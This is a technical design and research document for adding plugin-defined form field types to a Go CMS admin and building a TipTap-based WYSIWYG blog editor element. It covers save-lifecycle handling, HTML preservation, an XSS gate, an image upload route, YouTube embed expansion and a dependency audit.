**Primary recommendation:** Add `pact.HasFormFieldTypes` returning `[]pact.FormFieldType` (a struct of funcs, the same style as `pact.AdminAction`) with `Name`, `Element`, `Translatable`, `Scripts`/`Styles`, option keys plus `CheckOptions`, `Decode`, `Load`, `ListValue` and an optional `Upload`. Cabana runs Decode and Load per locale inside the save transaction, skips values equal to what it served, and exposes the writes to Form hooks through a context accessor. Build the Blog Editor as a light-DOM custom element `golem15-journal-blogeditor` on TipTap 3.31.4 with a preservation-first schema, bundled with the admin SPA's pinned Vite 7.3.5.
|
||||
|
||||
## Architectural Responsibility Map
|
||||
|
||||
| Capability | Primary Tier | Secondary Tier | Rationale |
|
||||
|------------|-------------|----------------|-----------|
|
||||
| Field type registration, alias collision, option validation | API / Backend (cabana boot) | — | Fail-loud boot rule (ADMIN-07 precedent); no request input involved |
|
||||
| Decode/validate (CheckHTML) per locale, untouched skip | API / Backend (cabana save tx + plugin Decode) | — | XSS gate must be server-side on every write path (D-10); hooks only see the host model |
|
||||
| Load (markdown post → `content_html`) | API / Backend (plugin Load in Show/save response) | — | Needs the record and translations; the element must receive the served string |
|
||||
| Locale storage (ML variant) | API / Backend (cabana lift/hydrate + TranslationWriter) | Database (translate overlay) | D-14: not reimplemented per plugin |
|
||||
| `content_html` companion write (host + non-default) | API / Backend (Journal Form hooks) | — | Journal-specific derived column; needs to know which values were written |
|
||||
| Global field-type asset delivery | API / Backend (cabana asset route + boot endpoint) | Browser (SPA loader) | Assets are embedded and hashed at boot (D-13, 10.1 D-16) |
|
||||
| WYSIWYG editing, source toggle, dirty tracking | Browser (custom element) | — | Pure client concern; SPA build gains no editor dependency (D-16) |
|
||||
| Value binding element ↔ form state | Browser (SPA generic PluginField) | — | Replaces UnsupportedField fallback for plugin types |
|
||||
| Image upload transport | Browser (SPA posts with admin session) | API / Backend (cabana upload route → plugin Upload) | Element never holds credentials (10.1 rule) |
|
||||
| Image storage | API / Backend (Journal media store) | CDN / Static (nginx `/storage/app/uploads/public`) | Same key layout and public URL as the existing route |
|
||||
| Embed placeholder → iframe | Frontend Server (SSR, vue-journal-layer) | Browser (hydration) | D-05/D-17: iframes exist only after the frontend gate |
|
||||
|
||||
## Standard Stack
|
||||
|
||||
### Core (JS, sm-journal-plugin only; the admin SPA gains no editor dependency per D-16)
|
||||
|
||||
| Library | Version | Purpose | Why Standard |
|
||||
|---------|---------|---------|--------------|
|
||||
| `@tiptap/core` | 3.31.4 (published 2026-09-30, MIT) | Editor API, `Node`/`Extension`/`Mark` factories | Locked by D-16 [VERIFIED: npm registry: `npm view @tiptap/core version license`] |
|
||||
| `@tiptap/pm` | 3.31.4 (MIT) | ProseMirror re-export (model/view/state/tables) | Peer dependency of core; pins prosemirror-model ^1.25.11, prosemirror-view ^1.42.3 [VERIFIED: npm registry] |
|
||||
| `@tiptap/starter-kit` | 3.31.4 (MIT) | Paragraph, headings, bold/italic, lists, blockquote, link, history, trailing node | Configure with `trailingNode: false` and a reconfigured `link` (see Pitfalls) [VERIFIED: node_modules/@tiptap/starter-kit/src/starter-kit.ts:166-169] |
|
||||
| `@tiptap/extension-table` | 3.31.4 (MIT) | `TableKit` (table, row, header, cell) | Official table support; override `renderHTML` to stop the colgroup/min-width output [CITED: tiptap.dev/docs/editor/extensions/nodes/table] |
|
||||
| `@tiptap/extension-image` | 3.31.4 (MIT) | `img` node (block by default, `allowBase64: false`) | Base for the figure/caption node; base64 refused by default [VERIFIED: node_modules/@tiptap/extension-image/src/image.ts:87-90,127] |
|
||||
|
||||
### Supporting (build/test, devDependencies of the plugin JS build, versions pinned to the admin SPA's lockfile)
|
||||
|
||||
| Library | Version | Purpose | When to Use |
|
||||
|---------|---------|---------|-------------|
|
||||
| `vite` | 7.3.5 | Library-mode build of `assets/src` to one ES module `assets/dist/blogeditor.js` (+ `.css`) | Same pin as `admin/package.json`; avoids a second bundler in the repo set [VERIFIED: summercms.go/admin/package.json] |
|
||||
| `vitest` | 3.2.7 | Unit tests of the serializer, dirty tracking, embed node | Same pin as the admin SPA [VERIFIED: admin/package.json] |
|
||||
| `happy-dom` | 20.11.6 | DOM for vitest; also used in this session's probes (TipTap runs on it) | Same pin as the admin SPA [VERIFIED: admin/package.json; local probe ran Editor on happy-dom] |
|
||||
| `typescript` | 5.9.3 | Type-check the element source | Same pin as admin SPA and vue-journal-layer |
|
||||
|
||||
Go side: **no new dependency.** It uses `encoding/json` and `strings` in the Journal Decode/Load, and the existing `gocloud.dev/blob` in the media store.
|
||||
|
||||
### Alternatives Considered
|
||||
|
||||
| Instead of | Could Use | Tradeoff |
|
||||
|------------|-----------|----------|
|
||||
| Vite library mode | esbuild 0.28.2 directly | esbuild is smaller and faster, but it adds a second toolchain next to the admin's pinned Vite. It also has a `postinstall` (`node install.js`) binary fetch. Vite 7.3.5 already uses esbuild internally. |
|
||||
| Light-DOM element + tag-scoped CSS | Shadow DOM | Shadow DOM isolates styles, but ProseMirror selection inside shadow roots has historically had browser quirks. The 10.1 rule already restricts plugin CSS to `--c-*` variables, and those variables inherit either way. [ASSUMED] |
|
||||
| One bundle (~430 KiB min / ~135 KiB gzip) | Lazy chunk loaded on first element connect | Lazy loading needs a declared-but-not-auto-loaded asset, which the 10.1 asset mechanism does not model. One bundle is revalidated with `ETag`/304 per page. |
|
||||
|
||||
**Installation (in `../sm-journal-plugin`):**
|
||||
```bash
|
||||
npm init -y # or a hand-written package.json with "private": true, "type": "module"
|
||||
npm install --save-exact @tiptap/core@3.31.4 @tiptap/pm@3.31.4 @tiptap/starter-kit@3.31.4 @tiptap/extension-table@3.31.4 @tiptap/extension-image@3.31.4
|
||||
npm install --save-exact -D vite@7.3.5 vitest@3.2.7 happy-dom@20.11.6 typescript@5.9.3
|
||||
```
|
||||
|
||||
**Bundle size (measured):** StarterKit + TableKit + Image + core bundled with esbuild 0.28.2 `--minify --format=esm`: 440,767 bytes minified, 138,583 bytes gzip -9. [VERIFIED: local build in session scratchpad]
|
||||
|
||||
## Package Legitimacy Audit
|
||||
|
||||
| Package | Registry | Age | Downloads | Source Repo | Verdict | Disposition |
|
||||
|---------|----------|-----|-----------|-------------|---------|-------------|
|
||||
| @tiptap/core | npm | latest 3.31.4 published 2026-09-30 (9 days) | 21.5M/wk | github.com/ueberdosis/tiptap | [SUS] reason `too-new` (the release, not the package) | Flagged: planner adds checkpoint:human-verify before install |
|
||||
| @tiptap/pm | npm | 3.31.4, 9 days | 21.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/starter-kit | npm | 3.31.4, 9 days | 18.4M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/extension-table | npm | 3.31.4, 9 days | 6.0M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/extension-image | npm | 3.31.4, 9 days | 9.3M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged |
|
||||
| @tiptap/extension-link | npm | 3.31.4 (via starter-kit) | 19.5M/wk | github.com/ueberdosis/tiptap | [SUS] `too-new` | Flagged (transitive) |
|
||||
| esbuild | npm | 0.28.2 | 299M/wk | github.com/evanw/esbuild | [OK]; `postinstall: node install.js` (platform binary fetch, known) | Not recommended directly; arrives via Vite |
|
||||
| vite, vitest, happy-dom, typescript | npm | pinned versions already in `summercms.go/admin/package-lock.json` | — | — | not re-run (already vetted in Phase 10) | Approved (same pins) |
|
||||
|
||||
**Packages removed due to [SLOP] verdict:** none.
|
||||
**Packages flagged as suspicious [SUS]:** every `@tiptap/*` package, for the single reason `too-new`. The 3.31.4 release is 9 days old; the packages themselves have tens of millions of weekly downloads and none has a `postinstall` script.
|
||||
- The planner adds a `checkpoint:human-verify` before the first `npm install`.
|
||||
- Alternatively, pin an earlier 3.x release that is more than 14 days old. The package names come from TipTap's official docs and npm (`[VERIFIED: npm registry]`) and the seam was run (`msd-tools query package-legitimacy check`).
|
||||
|
||||
## Architecture Patterns
|
||||
|
||||
### System Architecture Diagram
|
||||
|
||||
```
|
||||
BOOT (cabana.Activate)
|
||||
plugins ──HasFormFieldTypes──> fieldTypeRegistry ──┬─> alias collision check vs core types + other plugins (fail boot)
|
||||
│ ├─> read+hash Scripts/Styles from AdminFS (reuse compileClientAssets reader)
|
||||
│ └─> passed into decodeFields(...) for controller / relation-child forms
|
||||
│ (settings forms: refuse plugin types at boot in v1)
|
||||
▼
|
||||
fields.yaml `type: mlblogeditor` ──> compileFieldNode: core key check, then plugin keys ──> CheckOptions ──> FormField{type, element, translatable, typeOptions}
|
||||
|
||||
ADMIN SPA
|
||||
login ─> app shell ─> GET /field-types (or navigation meta) ─> loadScript(each) once, global CSS always enabled
|
||||
FormView ─> rendererFor(type) ─ unknown/plugin ─> PluginField ─(translatable)─> MLField(inner = PluginField)
|
||||
PluginField ── el.value = served string ──> <golem15-journal-blogeditor>
|
||||
<── 'summer-change' {value} ── (element keeps original string until a user edit)
|
||||
<── 'summer-upload' {id,file} ── ─> POST {api}/{v}/{p}/{c}/{id}/fields/{field}/upload (cookie + X-Requested-With)
|
||||
── 'summer-upload-result' {id,url|error} ──>
|
||||
|
||||
SAVE (PUT {api}/{v}/{p}/{c}/{id})
|
||||
body ─> lift plugin values (shape: plain any JSON | ML map of enabled locale -> string)
|
||||
─> tx: loadRecord(FormExtendQuery scope)
|
||||
─> per (field, locale): served := Load(record, locale); if update && submitted == served -> SKIP
|
||||
else Decode(...) -> CheckHTML -> 422 FieldError | stored value
|
||||
─> default-locale values onto body -> Fill ; non-default -> translations list
|
||||
─> ctx += written {field: {locale: value}} (accessor for hooks)
|
||||
─> FormBeforeUpdate (Journal: content_html := content only if content written)
|
||||
─> row Save ─> applyMLTranslations ─> FormAfterUpdate (Journal: WriteTranslated content_html per written non-default locale)
|
||||
─> projectFullRecord ─> hydrate: Load per locale ─> response
|
||||
|
||||
PUBLIC SITE (vue-journal-layer)
|
||||
API content_html ─> gateJournalHtml (3 regexes, refuses raw iframe) ─> expandEmbeds (allowlist + id regex) ─> v-html
|
||||
```
|
||||
|
||||
### Recommended Project Structure
|
||||
|
||||
```
|
||||
summercms.go/
|
||||
├── modules/pact/capabilities.go # + FormFieldType, FormFieldInput, FieldError, HasFormFieldTypes, FormFieldUpload*
|
||||
├── modules/cabana/field_type.go # NEW: registry build, collision/alias rules, option check, Decode/Load runner, list formatter
|
||||
├── modules/cabana/field_type_upload.go # NEW: POST .../{id}/fields/{field}/upload handler
|
||||
├── modules/cabana/form_schema.go # decodeFields/compileFieldNode take the registry; plugin keys after type resolution
|
||||
├── modules/cabana/crud.go # save(): plugin lift/decode/skip in tx; written-values context; scalarFormField registry-aware
|
||||
├── modules/cabana/field_ml.go # mlFieldType registry-aware; hydrate calls Load
|
||||
├── modules/cabana/admin_openapi.go # new route(s) + FormField generic fields
|
||||
├── admin/src/components/form/fields/PluginField.vue # NEW generic element host
|
||||
├── admin/src/app/fieldTypes.ts # NEW global loader (scripts once, CSS never disabled)
|
||||
└── docs/backend/field-types.md (or a section in partials-and-widgets.md) + site.yaml nav
|
||||
|
||||
sm-journal-plugin/
|
||||
├── assets/src/blogeditor/ # element.ts, schema/*.ts (rawHtml, figure, embed, span, globalAttrs, table), serializer.ts
|
||||
├── assets/dist/blogeditor.js|.css # committed, embedded via //go:embed in admin.go
|
||||
├── classes/blog_editor.go # NEW: FormFieldType values (blogeditor, mlblogeditor): Decode/Load/ListValue/Upload
|
||||
├── classes/media_store.go # NEW: storage function extracted from controllers/api/media.go (shared)
|
||||
├── controllers/posts.go, categories.go # hooks: no FormatHTML on admin path; content_html companion writes
|
||||
├── package.json, package-lock.json, vite.config.ts, scripts/check-dist.sh
|
||||
└── models/post/fields.yaml (mlblogeditor), models/category/fields.yaml (blogeditor)
|
||||
|
||||
vue-journal-layer/app/utils/embeds.ts # NEW: expandEmbeds(html) after gateJournalHtml; PostBody + CategoryHeader
|
||||
```
|
||||
|
||||
### Pattern 1: Per-boot field type registry threaded through compile
|
||||
|
||||
**What:** Collect `pact.HasFormFieldTypes` from every activated plugin in `Activate` and pass the registry into `compileRegistry` and from there into `decodeFields` and `compileFieldNode`. Validate aliases with an identifier rule, for example `^[a-z][a-z0-9]*$`, and reject:
|
||||
- duplicates;
|
||||
- any name in the core `formFieldTypes` set;
|
||||
- the reserved names `widget` and `partial`.
|
||||
|
||||
**Verified integration points (quoted from source):**
|
||||
- The closed type set [VERIFIED: modules/cabana/form_schema.go:24-30]:
|
||||
`"text": {}, "textarea": {}, "number": {}, "checkbox": {}, "switch": {}, "dropdown": {}, "relation": {}, "relation-manager": {}, "widget": {}, "partial": {}, "fileupload": {}, "datepicker": {}, "password": {}, "permissioneditor": {}, "markdown": {}, "mltext": {}, "mltextarea": {}, "mlmarkdown": {},`
|
||||
- The unknown-key check runs before the type is known [VERIFIED: modules/cabana/form_schema.go:466-468]: `if _, known := formFieldKeys[key]; !known { return FormField{}, fmt.Errorf("unknown field %s", key) }`. The type is resolved afterwards [form_schema.go:474-480]. Plugin keys therefore need either a two-pass key check or a resolve-type-first reorder.
|
||||
- `decodeFields(raw []byte)` has three callers: form_schema.go:194 (controller form), settings.go:74 (settings), relation_form.go:145 and :246 (relation child and pivot forms). [VERIFIED: grep + Read of form_schema.go]
|
||||
- Registry construction lives in `Activate`, http.go:74-121: `collectControllers` → `compileRegistry(items)` → `compileContributions(reg, plugins)`. `compileRegistry` receives only `items []controllerRef`, so it needs a new parameter. [VERIFIED: modules/cabana/http.go:75-119; registry.go:57]
|
||||
- The save classifier [VERIFIED: modules/cabana/crud.go:1224-1232]: `case "text", "textarea", "number", "checkbox", "switch", "dropdown", "datepicker", "markdown", "mltext", "mltextarea", "mlmarkdown": return true`. `BindWritableFields` (crud.go:204) and `mergedRules` (crud.go:1073) use it, so a plugin type bound to a column must count as writable.
|
||||
- ML classifier [VERIFIED: modules/cabana/field_ml.go:11-15, 47-53]: `mlTextFieldType = "mltext"`, `mlTextareaFieldType = "mltextarea"`, `mlMarkdownFieldType = "mlmarkdown"`.
|
||||
- List column types [VERIFIED: modules/cabana/list_schema.go:22-24]: `"text": {}, "datetime": {}, "switch": {}, "date": {}, "time": {},`. List rows are projected by `projectRow` (http.go:1067), which copies raw field values. Columns typed with a plugin alias call `ListValue`.
|
||||
- The widget tag rule to reuse for `Element` [VERIFIED: modules/cabana/extension.go:18, 48-50]: `^[a-z][a-z0-9]*(-[a-z0-9]+)+$`, and the prefix is the plugin ID with `.`/`_` → `-` plus `-` (`golem15.journal` → `golem15-journal-`).
|
||||
|
||||
**Recommendation:** Do not use a package-level mutable registry. Tests construct several services in one process; the existing code builds everything per `Activate`. Use a small `fieldTypes` value passed as a parameter, or attached to a compile-context struct.
|
||||
|
||||
### Pattern 2: Save lifecycle for plugin types (D-12 items 2-3, D-14)
|
||||
|
||||
**What:** Plugin values are handled in two places:
|
||||
1. **Before the transaction**, a shape check. It reuses the `liftMLValues` rules for a translatable type: an object of enabled locale → string with the default locale required. A plain type accepts any JSON value.
|
||||
2. **Inside the transaction after `loadRecord`**, a per-locale Load → compare → Decode step.
|
||||
|
||||
Decoded default-locale values go onto the body, so `lagoon.Fill` applies them, `Fillable` and `context:` are still enforced, and `FormBeforeUpdate` sees them on the model. Non-default values join the existing `translations` list for `applyMLTranslations`.
|
||||
|
||||
**Why inside the transaction:** the current order in `save()` is: ML lift at crud.go:600 (before the transaction), then `loadRecord` (crud.go:616), Fill, BeforeValidate, Validate, `formBeforeUpdate`, row Save, `applyMLTranslations` (crud.go:688), `formAfterUpdate`, `projectFullRecord` and `hydrateMLRecord` (crud.go:709). [VERIFIED: modules/cabana/crud.go:567-711] Load needs the record, for example to serve `content_html` for a markdown post (D-07), so the untouched comparison can only run after the load.
|
||||
|
||||
**Error mapping:** pact cannot import cabana, so it cannot return `*cabana.ValidationError`. Define `pact.FieldError{Messages []string}`. Cabana maps it to a 422 on that field. Any other error becomes the opaque 500 or lifecycle error, so internal error text never leaks. This matches the existing `ValidationError`/`ForbiddenError` handling in `lifecycleFailure` (crud.go:815-850).
|
||||
|
||||
**Written-values accessor (closes the companion-column gap):** after the decode step, put the written values on the context, the same pattern as `withVirtualFields`/`VirtualFieldsFromContext` (tx_context.go:38-54), for example `cabana.FieldWritesFromContext(ctx) map[string]map[string]string`, which maps field → locale → value for the values actually written. Form hooks read it:
|
||||
- **Journal `FormBeforeCreate`/`FormBeforeUpdate`:** if `content` was written in the default locale, set `ContentHTML = Content`; otherwise leave `ContentHTML` alone, which keeps it byte-identical.
|
||||
- **Journal `FormAfterCreate`/`FormAfterUpdate`:** for each written non-default locale of `content`, call `writer.WriteTranslated(ctx, tx, post, "content_html", locale, value)`. The hook runs after `applyMLTranslations` (crud.go:688 runs before `formAfterUpdate` at :698), so the host row has its id.
|
||||
|
||||
### Pattern 3: Two-layer untouched detection (D-03)
|
||||
|
||||
The **client** never re-serializes an untouched document:
|
||||
- the element stores the exact string it was given;
|
||||
- its `value` getter returns that string until a user-originated `docChanged` transaction or a source-textarea `input`;
|
||||
- the initial content goes in with `emitUpdate: false`.
|
||||
|
||||
The **server** skips any per-locale value equal to the value it served (`Load` output) on update, so neither column, nor the translation, is written. Both layers are needed:
|
||||
- The client layer alone fails for a markdown post. The element is served `content_html`, so an untouched save would send `content_html` and overwrite the markdown `content`. The server comparison stops that.
|
||||
- It also fails for imported posts whose `content_html` differs from `content`. In the local grzybyfunkcjonalne export, 17 of 100 pl translations differ, for example `"` versus `"`. [VERIFIED: analysis of /media/nvme/dev/golem15/grzybyfunkcjonalne.pl/journal-export/*.json in this session; note this export is from March 2026 and older than UAT data]
|
||||
- The server layer alone fails because TipTap normalizes on load, as Pitfall 1 shows, so an editor that re-serialized on load would never match.
|
||||
|
||||
**Generic semantics:** "a value equal to what the form was served is not written" holds for any plugin type, so cabana can apply it without the plugin opting in.
|
||||
|
||||
### Pattern 4: Preservation-first editor schema (D-03 "as far as possible", D-04)
|
||||
|
||||
Build these on top of `StarterKit.configure({ trailingNode: false, link: { HTMLAttributes: { target: null, rel: null, class: null }, openOnClick: false } })`:
|
||||
|
||||
1. **`rawHtml` atomic block node:**
|
||||
- `atom: true`, `group: 'block'`, low priority.
|
||||
- `parseHTML` rules for block tags the schema does not model: `footer`, `section`, `aside`, `header`, `nav`, `details`, `style`, and `div` (or only a `div` with attributes).
|
||||
- It stores the outer HTML.
|
||||
- The editor shows it as a non-editable card that opens in the source tab. A probe showed it keeps the footer and `<style>` (with `itemscope` → `itemscope=""` normalization). ProseMirror's parser ignores `style` by default, but a matching rule overrides that. [VERIFIED: local probe; prosemirror-model dist ignoreTags = `head, noscript, object, script, style, title`]
|
||||
2. **Global attribute map:** an `Extension` with `addGlobalAttributes` over the modelled node types. One `htmlAttrs` attribute captures every attribute the node does not model and renders it back. In the probe it kept `class`/`data-x`/`itemprop`; attribute order can change. [VERIFIED: local probe; CITED: tiptap.dev/docs/editor/extensions/custom-extensions/extend-existing (`types: '*' | 'nodes' | 'marks'`)]
|
||||
3. **`span` mark** with the same attribute map, for inline `style`/`class` spans such as the footer's `<span style="color: #138c74;">`.
|
||||
4. **`figure` node** containing an image plus an optional `figcaption` (D-18 caption). Without it, the probe showed `<figure>` unwrapped and `figcaption` becoming a `<p>`.
|
||||
5. **`embed` atomic node**, rule `figure[data-embed]` with higher priority than `figure`. It renders exactly `<figure data-embed="youtube" data-id="ID"></figure>`; the probe round-tripped this exactly.
|
||||
6. **Table:** `TableKit` with a `renderHTML` override that emits no `colgroup` or `min-width` style.
|
||||
7. **Custom serializer for `getValue()`:** do not use `editor.getHTML()` for the stored value. Walk the top-level nodes:
|
||||
- emit `rawHtml` nodes verbatim;
|
||||
- for other nodes, use `DOMSerializer.fromSchema(schema).serializeNode(node)`.
|
||||
|
||||
An optional refinement: at load, parse each top-level DOM child on its own and remember (nodes, outerHTML). On serialize, emit the remembered outerHTML for any run of top-level nodes that are still `Node.eq` to the originals. Unedited paragraphs then stay as the browser serialized them, which reduces diff churn on long imported posts. This is a design proposal [ASSUMED]; `Node.eq` exists in prosemirror-model [VERIFIED: node_modules/prosemirror-model/dist/index.js:217].
|
||||
|
||||
**The source tab** is a `<textarea>` bound to the exact string. Switching source → WYSIWYG re-parses; that counts as an edit only if the text changed.
|
||||
|
||||
### Pattern 5: Element contract (D-13), extending the 10.1 widget contract
|
||||
|
||||
- **Tag:** the plugin prefix rule (`golem15-journal-blogeditor`). It is defined by the plugin script, loaded globally after login.
|
||||
- **Inputs:**
|
||||
- The `value` property (string for the Blog Editor; any JSON for other types).
|
||||
- Attributes `field-name`, `locale`, `record-id` (empty on create) and `invalid`, `disabled`/`readonly`.
|
||||
- Attribute `options` with the JSON of the type's YAML options.
|
||||
- Setting `value` to the string the element last emitted must be a no-op, so there is no cursor reset on echo.
|
||||
- **Outputs (all bubbling `CustomEvent`s):**
|
||||
- `summer-change` with `detail.value`, emitted only on user edits.
|
||||
- `summer-upload` with `detail { id, file }`. The SPA posts the file to the field upload route with the admin session and answers on the element with `summer-upload-result` `{ id, url } | { id, error }`.
|
||||
- **Never handed to the element:** a token, a cookie, a function or a Vue instance (WidgetField.vue header rule). [VERIFIED: admin/src/components/form/fields/WidgetField.vue header comment]
|
||||
- **Event-name precedent:** `WIDGET_EVENT = 'summer-action'` and `WIDGET_RESULT_EVENT = 'summer-result'`. [VERIFIED: admin/src/components/form/formContext.ts:86,93]
|
||||
- **SPA changes:**
|
||||
- `rendererFor` falls back to `PluginField` for types carrying `element`.
|
||||
- `isRegistered` returns true for plugin types.
|
||||
- `valueless` stays `[RELATION_MANAGER, 'widget', 'partial', 'fileupload']` [VERIFIED: registry.ts:87].
|
||||
- `isMLFieldType(type)` (`ML_FIELD_TYPES = new Set(['mltext', 'mltextarea', 'mlmarkdown'])` [VERIFIED: mlLocale.ts:2]) must also accept plugin fields flagged `translatable`. Its callers in `formState.ts` (`editablePayload`, `initialValues`, `adopt`, `recordDisplayName`) pass a type string, so either switch them to a field-based check or register translatable plugin types at schema load.
|
||||
- **CSS:** `loadStyles`/`activateStyles` disable stylesheets owned by other controllers [VERIFIED: admin/src/app/pluginAssets.ts]. Field-type CSS needs an owner that is never disabled. Scope its selectors under the element tag and use only `--c-*` variables (cabana README:134).
|
||||
|
||||
### Pattern 6: Journal integration
|
||||
|
||||
- **Register both types on the Plugin**, not on a controller, because field types are global (D-13). Embed `assets/dist/blogeditor.js` and `.css` through the existing `//go:embed` list in `admin.go`. The assets are served at `<prefix>/assets/golem15/journal/dist/blogeditor.js?v=<hash>` (key = `vendor/plugin/<path after assets/>`, extension.go:281).
|
||||
- **Decode (both types):** check that the value is a string, run `classes.CheckHTML(value)` and return the string unchanged. CheckHTML errors become `pact.FieldError`. The gate patterns [VERIFIED: sm-journal-plugin/classes/format_html.go:25-27]:
|
||||
- ``(?i)<(?:script|iframe|object|embed)\b``
|
||||
- ``(?i)\son[a-z]+\s*=``
|
||||
- ``(?i)(?:javascript|vbscript|data):``
|
||||
- **Load (post `content`):** if the stored `content` looks like HTML (first non-space byte is `<`), serve `content`. Otherwise it is a markdown post, so serve `content_html` for that locale. For a non-default locale, read it through the app's `cabana.TranslationWriter` (`TranslatedExact(..., "content_html", locale)`). This "looks like HTML" rule is a heuristic [ASSUMED]; see the Assumptions Log.
|
||||
- **Hooks:** `preparePostWrite` (posts.go:213-219: `html, err := classes.FormatHTML(post.Content)` … `post.ContentHTML = html`) stops calling `FormatHTML` on the admin path and uses the written-values accessor instead (Pattern 2). The API path (`controllers/api/posts_helpers.go`) keeps `FormatHTML` (D-09). [VERIFIED: sm-journal-plugin/controllers/posts.go:213,219]
|
||||
- **Fields:**
|
||||
- `models/post/fields.yaml:19` changes `type: mlmarkdown` → `type: mlblogeditor`.
|
||||
- `models/category/fields.yaml:28` changes `type: textarea` → `type: blogeditor`.
|
||||
|
||||
[VERIFIED: grep -n of both files]
|
||||
- **Category content is not translatable:**
|
||||
- Go model: `Content *string` … `// HTML body (D-21): stored and served as is, not translatable` [VERIFIED: models/category.go:12].
|
||||
- `func (Category) Translatable() []string { return []string{"name", "description", "slug"} }` [VERIFIED: models/category.go:26].
|
||||
- The frozen PHP `Category::$translatable` is `'name', 'description', ['slug', 'index' => true]`, and the PHP category form has no content field at all [VERIFIED: /media/nvme/dev/golem15/fonoteka/plugins/golem15/journal/models/Category.php:36-40, models/category/fields.yaml].
|
||||
- So D-19 resolves to **`blogeditor`**.
|
||||
- `Content` is `*string`: Decode/Load must handle a nil pointer, and `prepareCategoryWrite` still maps blank to NULL.
|
||||
- **Post translatable attributes:** `return []string{"title", "content", "content_html", "excerpt", "metadata", "slug"}` [VERIFIED: models/post.go:43-45]. `content_html` is translatable, so the non-default companion write is required.
|
||||
|
||||
### Pattern 7: Embed expansion in vue-journal-layer (D-17)
|
||||
|
||||
Order matters: `gateJournalHtml(html)` runs first and refuses any raw iframe in stored HTML. Then `expandEmbeds(gated.html)` replaces only exact placeholders, `<figure data-embed="youtube" data-id="([A-Za-z0-9_-]{11})"></figure>` (optionally with a `figcaption`), with:
|
||||
|
||||
```html
|
||||
<figure class="journal-embed journal-embed--youtube"><iframe src="https://www.youtube-nocookie.com/embed/ID" ...></iframe></figure>
|
||||
```
|
||||
|
||||
- The transform is string-based and SSR-safe; there is no DOM on the server.
|
||||
- It applies in both v-html sinks: `PostBody.vue:11` and `CategoryHeader.vue:17` [VERIFIED: grep of vue-journal-layer/app].
|
||||
- Unknown providers or malformed ids stay inert.
|
||||
- The site's nginx config sets no CSP, so the iframe needs no header change [VERIFIED: grep of sm-grzybyfunkcjonalne-app/deploy/nginx shows only HSTS and nosniff `add_header`].
|
||||
- Privacy-enhanced mode is the `youtube-nocookie.com` embed domain [CITED: support.google.com/youtube/answer/171780].
|
||||
|
||||
### Pattern 8: Plugin JS build (D-16)
|
||||
|
||||
Mirror `scripts/check-admin-dist.sh`, which rebuilds into a temporary directory and fails on `diff -r` against the committed `dist`. The plugin gets:
|
||||
- `package.json` with exact pins and a `package-lock.json`;
|
||||
- `vite.config.ts` in library mode (`build.lib` with `formats: ['es']`, `fileName: 'blogeditor'`, a stable output name with no content hash, because cabana adds `?v=` itself);
|
||||
- `scripts/check-dist.sh`.
|
||||
|
||||
The Go build never runs npm, so a host app needs no Node (D-16). Do not let the bundle depend on `eval`/`new Function`: the admin CSP is `"frame-ancestors 'none'; base-uri 'none'; object-src 'none'; script-src 'self'"` [VERIFIED: modules/boardwalk/boardwalk.go:32]. There is no `style-src`, so TipTap's injected style tag (`injectCSS`, default true) is allowed. It is still cleaner to set `injectCSS: false` and ship the CSS in `blogeditor.css`.
|
||||
|
||||
### Pattern 9: Field upload route (resolves D-18 reachability; see Open Question 1)
|
||||
|
||||
The route is `POST {admin}/api/v1/{vendor}/{plugin}/{controller}/{id}/fields/{field}/upload`, multipart with one `file` part, where `{id}` 0 means the create form, the same convention as the fileupload routes. Cabana owns:
|
||||
- the backend guard (cookie or Bearer);
|
||||
- `requireAjax`;
|
||||
- the controller's `RequiredPermissions`;
|
||||
- the record scope through `FormExtendQuery` when `id != 0`;
|
||||
- the body cap `http.body_limits.upload_bytes` (`s.uploadBytes`);
|
||||
- "the field exists in the form, its type is a plugin type with an `Upload` func, and its context allows the operation".
|
||||
|
||||
It then calls `Upload(ctx, pact.FormFieldUpload{Record, Field, Filename, Body})`. That returns `{URL string}` or a `FieldError`, and cabana answers 201 `{data:{url}}`.
|
||||
|
||||
**Pattern collision check:** the shape `/{v}/{p}/{c}/{id}/fields/{field}/upload` is distinct from the existing 7-segment POST patterns:
|
||||
- `.../{id}/files/{field}/reorder`
|
||||
- `.../{id}/relations/{name}/link`
|
||||
|
||||
They differ by the literal segment, so `ServeMux` accepts them all. The 6-segment shape `/{v}/{p}/{c}/fields/{field}/upload` would collide with `POST /{vendor}/{plugin}/{controller}/{id}/actions/{action}`: neither is more specific, the same problem `nestedGet` documents. [VERIFIED: route table read in modules/cabana/http.go:241-345]
|
||||
|
||||
A new route must be:
|
||||
- added to `admin_openapi.go`;
|
||||
- added to `phase09Routes`, because `TestPhase09PermissionMatrix` and `TestPhase09ContractInventory` fail on divergence;
|
||||
- regenerated through `scripts/check-admin-openapi.sh`.
|
||||
|
||||
### Anti-Patterns to Avoid
|
||||
|
||||
- **Running Decode/CheckHTML in Form hooks only.** Hooks see the host model, never the non-default locale values (`translations` stay inside cabana), so D-10 "every locale" cannot be met there.
|
||||
- **Using `editor.getHTML()` as the stored value.** It normalizes entities, attributes, tables and links even for unchanged content (Pitfall 1).
|
||||
- **Calling `editor.commands.setContent(html)` with the defaults when syncing an external value.** `emitUpdate` defaults to `true` in v3 (it was `false` in v2), so the echo fires `update` and marks the editor dirty. [CITED: tiptap.dev/docs/editor/api/commands/content/set-content] [VERIFIED: local probe: one update per default `setContent`, none with `{ emitUpdate: false }`]
|
||||
- **A package-level plugin type registry** in cabana (tests build several services per process).
|
||||
- **Handing the element a token or calling `/_journal/api/v1/media/upload` from it** (unreachable, and it breaks the 10.1 credential rule).
|
||||
- **Relaxing `CheckHTML` to allow iframes** (rejected; D-05 and Deferred).
|
||||
|
||||
## Don't Hand-Roll
|
||||
|
||||
| Problem | Don't Build | Use Instead | Why |
|
||||
|---------|-------------|-------------|-----|
|
||||
| Rich-text editing, selection, undo, paste handling | contenteditable + execCommand | TipTap 3.31.4 (ProseMirror) | Locked D-16; contenteditable has notoriously inconsistent cross-browser behavior [ASSUMED] |
|
||||
| Table editing (cell selection, merge, keyboard nav) | Custom table UI | `TableKit` (prosemirror-tables) | Edge cases in cell selection and colspan handling |
|
||||
